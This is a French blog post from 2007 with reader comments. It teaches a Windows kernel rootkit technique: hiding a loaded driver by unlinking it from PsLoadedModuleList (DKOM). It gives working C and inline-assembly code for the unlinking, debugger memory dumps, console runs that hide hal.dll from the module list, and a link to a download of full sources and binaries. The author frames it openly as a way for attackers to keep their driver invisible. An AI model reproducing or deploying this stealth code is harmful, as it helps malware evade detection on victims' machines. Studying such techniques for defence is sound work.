LKM Hiding (Loaded Kernel Module)

janvier 5th, 2007 at 05:59 admin

Yop, aujourd’hui je vais tripper en vous montrant comment jouer dans le KernelLand, ce magnifique monde plein de dangers dans lequel la moindre erreur vous envoie un BSOD in da face. Si vous n’avez pas fuit envoyant le titre je préfère vous rassurez en vous disant que c’est une peu comme le UserLand mais en pas pareil :]

Un exe en UserLand pour pouvoir use les fonctions des dll les load en mémoire bien au chaud a coté de lui, pour lenoyau c’est pareil il va avoir les drivers (win32k.sys) ou dll (hal.dll) en mémoire avec lui.

Lorsqu’on charge un driver le system tient à jour une liste des modules chargés en mémoire. On peut la recupérer en utilisant l’API native NtQuerSystemInformation avec le SystemInformationClass mit à SystemModuleInformation, on recupère un tableau
de structures SYSTEM_MODULE_INFORMATION qui ressemble à :

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

Un petit exemple d’exécution du programme :

C:\\ProgHackc>SystemModuleInformation
Error with NtLoadDriver : 0xc0000004 : 24
ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe
Base : 0x804d7000
Size : 2181376 bytes
Index : 0
LoadCount : 1
ImageName :\\\\WINDOWS\\system32\\hal.dll
Base : 0x806ec000
Size : 81280 bytes
Index : 1
LoadCount : 1
[...]

On peut voir le nom du module, l’ImageBase, sa taille, l’index dans le tableau et le nombre de fois qu’il à été loadé.Mais nous ! On est des méchants et on voudrait que notre driver ne soit pas dans cette liste !

En jouant avec le LKD au lancement on peut voir 2 valeurs :
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055a420 Kernel base je vous laisse demander à votre maman ce que c’est, mais PsLoadedModuleList WTF !

lkd> dd 0x8055a420 L 8
8055a420  81bfc3b0 8191ad90 00000000 00000000
8055a430  00000000 00000000 00000000 00000000

Bon 2 pointeurs alors voir ca :]

81bfc3b0  81bfc348 8055a420 00000000 00000000  H... .U.........
81bfc3c0  00000000 00000000 804d7000 806ac2be  .........pM...j.
81bfc3d0  00214900 003c003c e1000008 00180018  .I!.<.<.........
81bfc3e0  81bfc3fc 0c004000 00000001 00000000  .....@..........
81bfc3f0  00217a75 00000000 00000000 0074006e  uz!.........n.t.
81bfc400  0073006f 0072006b 006c006e 0065002e  o.s.k.r.n.l...e.
81bfc410  00650078 15aa0000 0a20000e 20206d4d  x.e....... .Mm
81bfc420  00000000 00000000 00000000 00000000  ................

Hooo ! ecrit en unicode on voit ntoskrnl.exe, remarquez aussi que les 2 premiers DWORD font partie d'une structure LIST_ENTRY, ce qui veut dire que les infos des modules font partie d'une double liste chainée. La structure est documenté vite fait :

// undocumented structure ...
typedef struct _MODULE_ENTRY {
LIST_ENTRY link;        // Flink, Blink
UCHAR unknown1[16];
ULONG imageBase;
ULONG entryPoint;
ULONG imageSize;
UNICODE_STRING drvPath;
UNICODE_STRING drvName;
//...
} MODULE_ENTRY, *PMODULE_ENTRY;

GOOD tout ca, bon now faudrais quand même penser à récup l'adresse de PsLoadedModuleList, différente pour chaque version de win..
Le trick de tibétain consiste à lire playboy heuuu rootkit.com et plus particulièrement le texte d'Opcodes sur les varsnoyau non exportées par ntoknrl :
http://www.rootkit.com/newsread.php?newsid=101
et reprit par Alex Ionescu :
http://www.rootkit.com/newsread.php?newsid=153
Dans le KPCR (KERNEL PROCESSOR CONTROL REGION) se trouve un champ appelé KdVersionBlock, un pointeur, et comme la si bien remarqué Opcode :

KdVersionBlock points to:
0x0-0xC = Unknown
0x10 = KernelBase
0x18 = PsLoadedModuleList
0x20 = Pointer to Pointer to Debug Data
0x28 = LIST_ENTRY to Debug Data, Forward
0x38 = Debugger Tag.

Après il suffit de récup le KPCR et c'est nickel, et le KPCR comme Tolwin le dit dans le n0name mag
http://ivanlef0u.fr/repo/zines/n0name-mag/papers/kerneladventure.txt

"Par FS tu entreras, la région de contrôle tu trouveras"
La messe est dite place au code :)

NTSTATUS Dkom(PCHAR pModuleToHide)
{
PMODULE_ENTRY pFirstModule, pModule;
ANSI_STRING asModuleToHide;
UNICODE_STRING usModuleToHide;

RtlInitAnsiString(&asModuleToHide, pModuleToHide);

/* TRUE pour
AllocateDestinationString
Specifies if this routine should allocate the buffer space for the destination string.
If it does, the caller must deallocate the buffer by calling RtlFreeUnicodeString.
*/
RtlAnsiStringToUnicodeString(&usModuleToHide, &asModuleToHide, TRUE);

__asm
{
mov eax, dword ptr fs:[0x34]   //+0x034 KdVersionBlock   : Ptr32 Void
mov eax, dword ptr [eax+0x18] //PsLoadedModuleList
mov eax, dword ptr [eax]
mov pFirstModule, eax
}

pModule=pFirstModule;

DbgPrint("Module : 0x%x", pModule);

do
{
DbgPrint("Module : 0x%x", pModule);
DbgPrint("Module Name : %Sn", pModule->drvName.Buffer); // %S Unicode String

if(RtlEqualUnicodeString(&(pModule->drvName), &usModuleToHide, FALSE))
{
DbgPrint("Ok now time to be MAD");

//on modif la double liste chainée
pModule->link.Blink->Flink=pModule->link.Flink;
pModule->link.Flink->Blink=pModule->link.Blink;

}

pModule=(PMODULE_ENTRY)pModule->link.Flink;

}while(pModule!=pFirstModule);

RtlFreeUnicodeString(&usModuleToHide);

return STATUS_SUCCESS;
}

La fonction Dkom récup la string du module que l'on veut viré puis la convertie en unicode. Ensuite on récup la PsLoadedModuleList et on cherche notre MODULE_ENTRY, quand on la on modif les pointeurs des MODULE_ENTRY suivante et précédente, izi :]

Pour être plus tranquil j'ai demandé à mon driver de pouvoir recevoir des datas du userland avec un DeviceIoControl

Un petit exemple :]

C:\\Drivers\\dkom_services>SystemModuleInformation
Error with NtLoadDriver : 0xc0000004 : 24
ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe
Base : 0x804d7000
Size : 2181376 bytes
Index : 0
LoadCount : 1
ImageName :\\\\WINDOWS\\system32\\hal.dll
Base : 0x806ec000
Size : 81280 bytes
Index : 1
LoadCount : 1
[...]

Je load le driver

C:\\Drivers\\dkom_services>NtLoadDriver -load \\\\??C:\\Drivers\\dkom_services\\i386test.sys

Now je demande de faire DISPARAITRE hal.dll, dkom est le nom du device pour communiquer avec le driver.

C:\\Driversd\\kom_services>DeviceIoControl dkom hal.dll
\\\\.\\Globaldkom

C:\\Drivers\\dkom_services>SystemModuleInformation
Error with NtLoadDriver : 0xc0000004 : 24
ImageName :\\\\WINDOWS\\system32\\ntoskrnl.exe
Base : 0x804d7000
Size : 2181376 bytes
Index : 0
LoadCount : 1
ImageName :\\\\WINDOWS\\system32\\KDCOM.DLL
Base : 0xf8987000
Size : 8192 bytes
Index : 1
LoadCount : 3

Que rajouter :] ha si ! ne rebooter pas sinon vous aurez un BSOD !
Allay hop le .rar avec tout le bordel, sources et binaires
http://ivanlef0u.fr/repo/DKOM.rar

Entry Filed under: Non classé

2 Comments

  • 1. Un pasant  |  septembre 13th, 2008 at 04:05

    Personnelement, cette solution m’amene un joli BSOD sous Vista SP1 32bits…
    très exactement ici :
    mov EAX, dword ptr [EAX+0x18]

    Cordialement


  • 2. admin  |  septembre 14th, 2008 at 12:20

    Yo,

    Surement un problème d’offet avec une des structures manipulées, j’ai pas de Vista, je ne peux pas t’aider. Dsl


Trackback this post


Calendar

mars 2024
L Ma Me J V S D
« fév    
 123
45678910
11121314151617
18192021222324
25262728293031

Most Recent Posts